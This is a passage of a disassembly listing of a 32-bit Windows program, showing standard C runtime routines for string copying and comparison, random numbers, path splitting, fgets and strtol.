ecx, 2 jnz short loc_41D891 jmp short loc_41D845 ; --------------------------------------------------------------------------- loc_41D824: ; CODE XREF: sub_41D800+1Bj ; sub_41D800+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41D852 test al, al jz short loc_41D85A test esi, 3 jnz short loc_41D824 mov ebx, ecx shr ecx, 2 jnz short loc_41D891 loc_41D840: ; CODE XREF: sub_41D800+8Fj and ebx, 3 jz short loc_41D852 loc_41D845: ; CODE XREF: sub_41D800+22j ; sub_41D800+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41D87E dec ebx jnz short loc_41D845 loc_41D852: ; CODE XREF: sub_41D800+2Bj ; sub_41D800+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41D85A: ; CODE XREF: sub_41D800+2Fj test edi, 3 jz short loc_41D874 loc_41D862: ; CODE XREF: sub_41D800+72j mov [edi], al inc edi dec ecx jz loc_41D8F6 test edi, 3 jnz short loc_41D862 loc_41D874: ; CODE XREF: sub_41D800+60j mov ebx, ecx shr ecx, 2 jnz short loc_41D8E7 loc_41D87B: ; CODE XREF: sub_41D800+7Fj ; sub_41D800+F4j mov [edi], al inc edi loc_41D87E: ; CODE XREF: sub_41D800+4Dj dec ebx jnz short loc_41D87B pop ebx pop esi loc_41D883: ; CODE XREF: sub_41D800+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41D889: ; CODE XREF: sub_41D800+A9j ; sub_41D800+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41D840 loc_41D891: ; CODE XREF: sub_41D800+20j ; sub_41D800+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41D889 test dl, dl jz short loc_41D8DB test dh, dh jz short loc_41D8D1 test edx, 0FF0000h jz short loc_41D8C7 test edx, 0FF000000h jnz short loc_41D889 mov [edi], edx jmp short loc_41D8DF ; --------------------------------------------------------------------------- loc_41D8C7: ; CODE XREF: sub_41D800+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41D8DF ; --------------------------------------------------------------------------- loc_41D8D1: ; CODE XREF: sub_41D800+B1j and edx, 0FFh mov [edi], edx jmp short loc_41D8DF ; --------------------------------------------------------------------------- loc_41D8DB: ; CODE XREF: sub_41D800+ADj xor edx, edx mov [edi], edx loc_41D8DF: ; CODE XREF: sub_41D800+C5j ; sub_41D800+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41D8F1 loc_41D8E7: ; CODE XREF: sub_41D800+79j xor eax, eax loc_41D8E9: ; CODE XREF: sub_41D800+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41D8E9 loc_41D8F1: ; CODE XREF: sub_41D800+E5j and ebx, 3 jnz short loc_41D87B loc_41D8F6: ; CODE XREF: sub_41D800+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41D800 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D900 proc near ; CODE XREF: seg000:0040247Ap ; seg000:004031CBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41D94C loc_41D910: ; CODE XREF: sub_41D900+3Cj ; sub_41D900+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41D944 or al, al jz short loc_41D940 cmp ah, [ecx+1] jnz short loc_41D944 or ah, ah jz short loc_41D940 shr eax, 10h cmp al, [ecx+2] jnz short loc_41D944 or al, al jz short loc_41D940 cmp ah, [ecx+3] jnz short loc_41D944 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41D910 mov edi, edi loc_41D940: ; CODE XREF: sub_41D900+18j ; sub_41D900+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41D944: ; CODE XREF: sub_41D900+14j ; sub_41D900+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41D94C: ; CODE XREF: sub_41D900+Ej test edx, 1 jz short loc_41D968 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41D944 inc ecx or al, al jz short loc_41D940 test edx, 2 jz short loc_41D910 loc_41D968: ; CODE XREF: sub_41D900+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41D944 or al, al jz short loc_41D940 cmp ah, [ecx+1] jnz short loc_41D944 or ah, ah jz short loc_41D940 add ecx, 2 jmp short loc_41D910 sub_41D900 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D990 proc near ; CODE XREF: seg000:00420C02p push ebp mov ebp, esp cmp ds:off_44FCFC, 0 jz short loc_41D9A2 call ds:off_44FCFC loc_41D9A2: ; CODE XREF: sub_41D990+Aj push offset dword_43C02C push offset dword_43C018 call sub_41DB60 add esp, 8 push offset dword_43C014 push offset dword_43C000 call sub_41DB60 add esp, 8 pop ebp retn sub_41D990 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D9D0 proc near ; CODE XREF: seg000:00420C5Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 0 mov eax, [ebp+arg_0] push eax call loc_41DA50 add esp, 0Ch pop ebp retn sub_41D9D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D9F0 proc near ; CODE XREF: seg000:00420C84p ; sub_420CA0+22p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 1 mov eax, [ebp+arg_0] push eax call loc_41DA50 add esp, 0Ch pop ebp retn sub_41D9F0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 0 push 0 call loc_41DA50 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 1 push 0 call loc_41DA50 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h loc_41DA50: ; CODE XREF: sub_41D9D0+Bp ; sub_41D9F0+Bp ... push ebp mov ebp, esp push ecx call sub_41DB40 cmp ds:dword_4EE9A8, 1 jnz short near ptr loc_41DA6F+4 mov eax, [ebp+8] push eax call near ptr 3D0000h mov byte ptr [eax-18h], 8Eh loc_41DA6F: ; CODE XREF: seg000:0041DA60j and eax, 0C7CCFFFBh add eax, offset dword_4EE9A4 add [eax], eax ; --------------------------------------------------------------------------- db 0 dd 104D8A00h, 0E9A00D88h, 7D83004Eh, 4775000Ch, 903D83h dd 7400004Fh, 8C158B2Ch, 89004F00h, 458BFC55h, 4E883FCh dd 8BFC4589h, 0D3BFC4Dh, 4F0090h, 558B0F72h, 3A83FCh, 458B0574h dd 0EB10FFFCh, 0C03868DDh, 30680043h, 0E80043C0h, 90h dd 6808C483h, 43C044h, 43C03C68h, 7EE800h, 0C4830000h dd 0AC3D8308h, 4EE9h, 0FF6A2075h, 0FFE87BE8h, 4C483FFh dd 8520E083h, 0C70F74C0h, 4EE9AC05h, 100h, 0F172E800h dd 7D83FFFFh, 7740010h, 37E8h, 0C714EB00h, 4EE9A805h, 100h dd 84D8B00h, 0F815FF51h, 8B004F12h, 0CCC35DE5h, 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DB40 proc near ; CODE XREF: seg000:0041DA54p ; sub_41FDB0+4p push ebp mov ebp, esp push 0Dh call sub_421A80 add esp, 4 pop ebp retn sub_41DB40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DB50 proc near ; CODE XREF: sub_41FDB0+61p ; sub_41FDB0+A7p push ebp mov ebp, esp push 0Dh call sub_421B20 add esp, 4 pop ebp retn sub_41DB50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DB60 proc near ; CODE XREF: sub_41D990+1Cp ; sub_41D990+2Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp loc_41DB63: ; CODE XREF: sub_41DB60+21j mov eax, [ebp+arg_0] cmp eax, [ebp+arg_4] jnb short loc_41DB83 mov ecx, [ebp+arg_0] cmp dword ptr [ecx], 0 jz short loc_41DB78 mov edx, [ebp+arg_0] call dword ptr [edx] loc_41DB78: ; CODE XREF: sub_41DB60+11j mov eax, [ebp+arg_0] add eax, 4 mov [ebp+arg_0], eax jmp short loc_41DB63 ; --------------------------------------------------------------------------- loc_41DB83: ; CODE XREF: sub_41DB60+9j pop ebp retn sub_41DB60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DB90 proc near ; CODE XREF: seg000:00402755p ; seg000:004054B7p ... arg_0 = dword ptr 8 push ebp mov ebp, esp call sub_425C30 mov ecx, [ebp+arg_0] mov [eax+14h], ecx pop ebp retn sub_41DB90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DBA0 proc near ; CODE XREF: seg000:loc_403B0Dp ; seg000:004054BDp ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx call sub_425C30 mov [ebp+var_4], eax mov eax, [ebp+var_4] mov ecx, [eax+14h] imul ecx, 343FDh add ecx, 269EC3h mov edx, [ebp+var_4] mov [edx+14h], ecx mov eax, [ebp+var_4] mov eax, [eax+14h] shr eax, 10h and eax, 7FFFh mov esp, ebp pop ebp retn sub_41DBA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DBE0 proc near ; CODE XREF: seg000:004030B2p ; seg000:00403262p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41DC5A mov dh, [ecx+1] test dh, dh jz short loc_41DC47 loc_41DBF8: ; CODE XREF: sub_41DBE0+52j ; sub_41DBE0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41DC1A test al, al jz short loc_41DC14 loc_41DC09: ; CODE XREF: sub_41DBE0+32j mov al, [esi] inc esi loc_41DC0C: ; CODE XREF: sub_41DBE0+3Fj cmp al, dl jz short loc_41DC1A test al, al jnz short loc_41DC09 loc_41DC14: ; CODE XREF: sub_41DBE0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41DC1A: ; CODE XREF: sub_41DBE0+23j ; sub_41DBE0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41DC0C lea edi, [esi-1] loc_41DC24: ; CODE XREF: sub_41DBE0+63j mov ah, [ecx+2] test ah, ah jz short loc_41DC53 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41DBF8 mov al, [ecx+3] test al, al jz short loc_41DC53 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41DC24 jmp short loc_41DBF8 ; --------------------------------------------------------------------------- loc_41DC47: ; CODE XREF: sub_41DBE0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41E656 ; --------------------------------------------------------------------------- loc_41DC53: ; CODE XREF: sub_41DBE0+49j ; sub_41DBE0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41DC5A: ; CODE XREF: sub_41DBE0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41DBE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DC60 proc near ; CODE XREF: seg000:004078DCp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 20h mov [ebp+var_C], 0 mov [ebp+var_8], 0 mov eax, [ebp+arg_0] push eax call sub_41AC70 add esp, 4 cmp eax, 1 jb short loc_41DCBB mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx+1] cmp edx, 3Ah jnz short loc_41DCBB cmp [ebp+arg_4], 0 jz short loc_41DCB0 push 2 mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_4] push ecx call sub_426610 add esp, 0Ch mov edx, [ebp+arg_4] mov byte ptr [edx+2], 0 loc_41DCB0: ; CODE XREF: sub_41DC60+35j mov eax, [ebp+arg_0] add eax, 2 mov [ebp+arg_0], eax jmp short loc_41DCC7 ; --------------------------------------------------------------------------- loc_41DCBB: ; CODE XREF: sub_41DC60+23j ; sub_41DC60+2Fj cmp [ebp+arg_4], 0 jz short loc_41DCC7 mov ecx, [ebp+arg_4] mov byte ptr [ecx], 0 loc_41DCC7: ; CODE XREF: sub_41DC60+59j ; sub_41DC60+5Fj mov [ebp+var_C], 0 mov edx, [ebp+arg_0] mov [ebp+var_4], edx jmp short loc_41DCDF ; --------------------------------------------------------------------------- loc_41DCD6: ; CODE XREF: sub_41DC60:loc_41DD3Cj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_41DCDF: ; CODE XREF: sub_41DC60+74j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_41DD3E mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] xor edx, edx mov dl, ds:byte_4EEF41[ecx] and edx, 4 test edx, edx jz short loc_41DD0A mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_41DD3C ; --------------------------------------------------------------------------- loc_41DD0A: ; CODE XREF: sub_41DC60+9Dj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 2Fh jz short loc_41DD20 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 5Ch jnz short loc_41DD2B loc_41DD20: ; CODE XREF: sub_41DC60+B3j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_C], edx jmp short loc_41DD3C ; --------------------------------------------------------------------------- loc_41DD2B: ; CODE XREF: sub_41DC60+BEj mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 2Eh jnz short loc_41DD3C mov edx, [ebp+var_4] mov [ebp+var_8], edx loc_41DD3C: ; CODE XREF: sub_41DC60+A8j ; sub_41DC60+C9j ... jmp short loc_41DCD6 ; --------------------------------------------------------------------------- loc_41DD3E: ; CODE XREF: sub_41DC60+87j cmp [ebp+var_C], 0 jz short loc_41DD94 cmp [ebp+arg_8], 0 jz short loc_41DD8C mov eax, [ebp+var_C] sub eax, [ebp+arg_0] cmp eax, 0FFh jnb short loc_41DD62 mov ecx, [ebp+var_C] sub ecx, [ebp+arg_0] mov [ebp+var_14], ecx jmp short loc_41DD69 ; --------------------------------------------------------------------------- loc_41DD62: ; CODE XREF: sub_41DC60+F5j mov [ebp+var_14], 0FFh loc_41DD69: ; CODE XREF: sub_41DC60+100j mov edx, [ebp+var_14] mov [ebp+var_10], edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_8] push edx call sub_426610 add esp, 0Ch mov eax, [ebp+arg_8] add eax, [ebp+var_10] mov byte ptr [eax], 0 loc_41DD8C: ; CODE XREF: sub_41DC60+E8j mov ecx, [ebp+var_C] mov [ebp+arg_0], ecx jmp short loc_41DDA0 ; --------------------------------------------------------------------------- loc_41DD94: ; CODE XREF: sub_41DC60+E2j cmp [ebp+arg_8], 0 jz short loc_41DDA0 mov edx, [ebp+arg_8] mov byte ptr [edx], 0 loc_41DDA0: ; CODE XREF: sub_41DC60+132j ; sub_41DC60+138j cmp [ebp+var_8], 0 jz loc_41DE4A mov eax, [ebp+var_8] cmp eax, [ebp+arg_0] jb loc_41DE4A cmp [ebp+arg_C], 0 jz short loc_41DDFF mov ecx, [ebp+var_8] sub ecx, [ebp+arg_0] cmp ecx, 0FFh jnb short loc_41DDD5 mov edx, [ebp+var_8] sub edx, [ebp+arg_0] mov [ebp+var_18], edx jmp short loc_41DDDC ; --------------------------------------------------------------------------- loc_41DDD5: ; CODE XREF: sub_41DC60+168j mov [ebp+var_18], 0FFh loc_41DDDC: ; CODE XREF: sub_41DC60+173j mov eax, [ebp+var_18] mov [ebp+var_10], eax mov ecx, [ebp+var_10] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_C] push eax call sub_426610 add esp, 0Ch mov ecx, [ebp+arg_C] add ecx, [ebp+var_10] mov byte ptr [ecx], 0 loc_41DDFF: ; CODE XREF: sub_41DC60+15Aj cmp [ebp+arg_10], 0 jz short loc_41DE48 mov edx, [ebp+var_4] sub edx, [ebp+var_8] cmp edx, 0FFh jnb short loc_41DE1E mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_1C], eax jmp short loc_41DE25 ; --------------------------------------------------------------------------- loc_41DE1E: ; CODE XREF: sub_41DC60+1B1j mov [ebp+var_1C], 0FFh loc_41DE25: ; CODE XREF: sub_41DC60+1BCj mov ecx, [ebp+var_1C] mov [ebp+var_10], ecx mov edx, [ebp+var_10] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_10] push ecx call sub_426610 add esp, 0Ch mov edx, [ebp+arg_10] add edx, [ebp+var_10] mov byte ptr [edx], 0 loc_41DE48: ; CODE XREF: sub_41DC60+1A3j jmp short loc_41DE9E ; --------------------------------------------------------------------------- loc_41DE4A: ; CODE XREF: sub_41DC60+144j ; sub_41DC60+150j cmp [ebp+arg_C], 0 jz short loc_41DE92 mov eax, [ebp+var_4] sub eax, [ebp+arg_0] cmp eax, 0FFh jnb short loc_41DE68 mov ecx, [ebp+var_4] sub ecx, [ebp+arg_0] mov [ebp+var_20], ecx jmp short loc_41DE6F ; --------------------------------------------------------------------------- loc_41DE68: ; CODE XREF: sub_41DC60+1FBj mov [ebp+var_20], 0FFh loc_41DE6F: ; CODE XREF: sub_41DC60+206j mov edx, [ebp+var_20] mov [ebp+var_10], edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_C] push edx call sub_426610 add esp, 0Ch mov eax, [ebp+arg_C] add eax, [ebp+var_10] mov byte ptr [eax], 0 loc_41DE92: ; CODE XREF: sub_41DC60+1EEj cmp [ebp+arg_10], 0 jz short loc_41DE9E mov ecx, [ebp+arg_10] mov byte ptr [ecx], 0 loc_41DE9E: ; CODE XREF: sub_41DC60:loc_41DE48j ; sub_41DC60+236j mov esp, ebp pop ebp retn sub_41DC60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DEB0 proc near ; CODE XREF: sub_402EAE+8p ; seg000:0040302Ep ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41DED0 loc_41DEBC: ; CODE XREF: sub_41DEB0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41DEBC loc_41DED0: ; CODE XREF: sub_41DEB0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41DEB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DEE0 proc near ; CODE XREF: seg000:00406F30p ; seg000:00406F5Fp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_10], ecx loc_41DEF5: ; CODE XREF: sub_41DEE0+3Dj cmp [ebp+arg_0], 0 jnz short loc_41DF19 push offset aStringNull ; "string != NULL" push 0 push 3Bh push offset aFgets_c ; "fgets.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41DF19 int 3 ; Trap to Debugger loc_41DF19: ; CODE XREF: sub_41DEE0+19j ; sub_41DEE0+36j xor edx, edx test edx, edx jnz short loc_41DEF5 loc_41DF1F: ; CODE XREF: sub_41DEE0+67j cmp [ebp+arg_8], 0 jnz short loc_41DF43 push offset dword_4394FC push 0 push 3Ch push offset aFgets_c ; "fgets.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41DF43 int 3 ; Trap to Debugger loc_41DF43: ; CODE XREF: sub_41DEE0+43j ; sub_41DEE0+60j xor eax, eax test eax, eax jnz short loc_41DF1F cmp [ebp+arg_4], 0 jg short loc_41DF56 xor eax, eax jmp loc_41E017 ; --------------------------------------------------------------------------- loc_41DF56: ; CODE XREF: sub_41DEE0+6Dj mov ecx, [ebp+arg_8] mov [ebp+var_4], ecx mov edx, [ebp+var_4] push edx call sub_41F070 add esp, 4 loc_41DF68: ; CODE XREF: sub_41DEE0:loc_41DFFDj mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+arg_4], eax cmp [ebp+arg_4], 0 jz loc_41E002 mov ecx, [ebp+var_4] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+var_4] mov [eax+4], edx mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0 jl short loc_41DFB3 mov edx, [ebp+var_4] mov eax, [edx] movsx ecx, byte ptr [eax] and ecx, 0FFh mov [ebp+var_14], ecx mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax jmp short loc_41DFC2 ; --------------------------------------------------------------------------- loc_41DFB3: ; CODE XREF: sub_41DEE0+B1j mov edx, [ebp+var_4] push edx call sub_423E50 add esp, 4 mov [ebp+var_14], eax loc_41DFC2: ; CODE XREF: sub_41DEE0+D1j mov eax, [ebp+var_14] mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_41DFE1 mov ecx, [ebp+var_8] cmp ecx, [ebp+arg_0] jnz short loc_41DFDF mov [ebp+var_10], 0 jmp short loc_41E008 ; --------------------------------------------------------------------------- loc_41DFDF: ; CODE XREF: sub_41DEE0+F4j jmp short loc_41E002 ; --------------------------------------------------------------------------- loc_41DFE1: ; CODE XREF: sub_41DEE0+ECj mov edx, [ebp+var_8] mov al, byte ptr [ebp+var_C] mov [edx], al movsx ecx, byte ptr [ebp+var_C] mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx cmp ecx, 0Ah jnz short loc_41DFFD jmp short loc_41E002 ; --------------------------------------------------------------------------- loc_41DFFD: ; CODE XREF: sub_41DEE0+119j jmp loc_41DF68 ; --------------------------------------------------------------------------- loc_41E002: ; CODE XREF: sub_41DEE0+95j ; sub_41DEE0:loc_41DFDFj ... mov eax, [ebp+var_8] mov byte ptr [eax], 0 loc_41E008: ; CODE XREF: sub_41DEE0+FDj mov ecx, [ebp+var_4] push ecx call sub_41F0E0 add esp, 4 mov eax, [ebp+var_10] loc_41E017: ; CODE XREF: sub_41DEE0+71j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41DEE0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+10h] push eax mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call sub_41E040 add esp, 10h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E040 proc near ; CODE XREF: seg000:0041E031p ; sub_41E380+11p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov [ebp+var_C], 0 mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_8], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_41E064: ; CODE XREF: sub_41E040+77j cmp ds:dword_44FD20, 1 jle short loc_41E086 push 8 mov ecx, [ebp+var_8] and ecx, 0FFh push ecx call sub_423D90 add esp, 8 mov [ebp+var_18], eax jmp short loc_41E0A0 ; --------------------------------------------------------------------------- loc_41E086: ; CODE XREF: sub_41E040+2Bj mov edx, [ebp+var_8] and edx, 0FFh mov eax, ds:off_44FE2C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8 mov [ebp+var_18], ecx loc_41E0A0: ; CODE XREF: sub_41E040+44j cmp [ebp+var_18], 0 jz short loc_41E0B9 mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_8], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_41E064 ; --------------------------------------------------------------------------- loc_41E0B9: ; CODE XREF: sub_41E040+64j movsx edx, byte ptr [ebp+var_8] cmp edx, 2Dh jnz short loc_41E0DD mov eax, [ebp+arg_C] or al, 2 mov [ebp+arg_C], eax mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_8], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_41E0F7 ; --------------------------------------------------------------------------- loc_41E0DD: ; CODE XREF: sub_41E040+80j movsx ecx, byte ptr [ebp+var_8] cmp ecx, 2Bh jnz short loc_41E0F7 mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_8], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_41E0F7: ; CODE XREF: sub_41E040+9Bj ; sub_41E040+A4j cmp [ebp+arg_8], 0 jl short loc_41E109 cmp [ebp+arg_8], 1 jz short loc_41E109 cmp [ebp+arg_8], 24h jle short loc_41E11E loc_41E109: ; CODE XREF: sub_41E040+BBj ; sub_41E040+C1j cmp [ebp+arg_4], 0 jz short loc_41E117 mov edx, [ebp+arg_4] mov eax, [ebp+arg_0] mov [edx], eax loc_41E117: ; CODE XREF: sub_41E040+CDj xor eax, eax jmp loc_41E36D ; --------------------------------------------------------------------------- loc_41E11E: ; CODE XREF: sub_41E040+C7j cmp [ebp+arg_8], 0 jnz short loc_41E15C movsx ecx, byte ptr [ebp+var_8] cmp ecx, 30h jz short loc_41E136 mov [ebp+arg_8], 0Ah jmp short loc_41E15C ; --------------------------------------------------------------------------- loc_41E136: ; CODE XREF: sub_41E040+EBj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 78h jz short loc_41E14C mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 58h jnz short loc_41E155 loc_41E14C: ; CODE XREF: sub_41E040+FFj mov [ebp+arg_8], 10h jmp short loc_41E15C ; --------------------------------------------------------------------------- loc_41E155: ; CODE XREF: sub_41E040+10Aj mov [ebp+arg_8], 8 loc_41E15C: ; CODE XREF: sub_41E040+E2j ; sub_41E040+F4j ... cmp [ebp+arg_8], 10h jnz short loc_41E19B movsx eax, byte ptr [ebp+var_8] cmp eax, 30h jnz short loc_41E19B mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 78h jz short loc_41E181 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 58h jnz short loc_41E19B loc_41E181: ; CODE XREF: sub_41E040+134j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov cl, [eax] mov byte ptr [ebp+var_8], cl mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_41E19B: ; CODE XREF: sub_41E040+120j ; sub_41E040+129j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov [ebp+var_10], eax loc_41E1A6: ; CODE XREF: sub_41E040+26Bj cmp ds:dword_44FD20, 1 jle short loc_41E1C7 push 4 mov eax, [ebp+var_8] and eax, 0FFh push eax call sub_423D90 add esp, 8 mov [ebp+var_1C], eax jmp short loc_41E1E2 ; --------------------------------------------------------------------------- loc_41E1C7: ; CODE XREF: sub_41E040+16Dj mov ecx, [ebp+var_8] and ecx, 0FFh mov edx, ds:off_44FE2C xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp+var_1C], eax loc_41E1E2: ; CODE XREF: sub_41E040+185j cmp [ebp+var_1C], 0 jz short loc_41E1F4 movsx ecx, byte ptr [ebp+var_8] sub ecx, 30h mov [ebp+var_14], ecx jmp short loc_41E253 ; --------------------------------------------------------------------------- loc_41E1F4: ; CODE XREF: sub_41E040+1A6j cmp ds:dword_44FD20, 1 jle short loc_41E219 push 103h mov edx, [ebp+var_8] and edx, 0FFh push edx call sub_423D90 add esp, 8 mov [ebp+var_20], eax jmp short loc_41E236 ; --------------------------------------------------------------------------- loc_41E219: ; CODE XREF: sub_41E040+1BBj mov eax, [ebp+var_8] and eax, 0FFh mov ecx, ds:off_44FE2C xor edx, edx mov dx, [ecx+eax*2] and edx, 103h mov [ebp+var_20], edx loc_41E236: ; CODE XREF: sub_41E040+1D7j cmp [ebp+var_20], 0 jz short loc_41E251 movsx eax, byte ptr [ebp+var_8] push eax call sub_426810 add esp, 4 sub eax, 37h mov [ebp+var_14], eax jmp short loc_41E253 ; --------------------------------------------------------------------------- loc_41E251: ; CODE XREF: sub_41E040+1FAj jmp short loc_41E2B0 ; --------------------------------------------------------------------------- loc_41E253: ; CODE XREF: sub_41E040+1B2j ; sub_41E040+20Fj mov ecx, 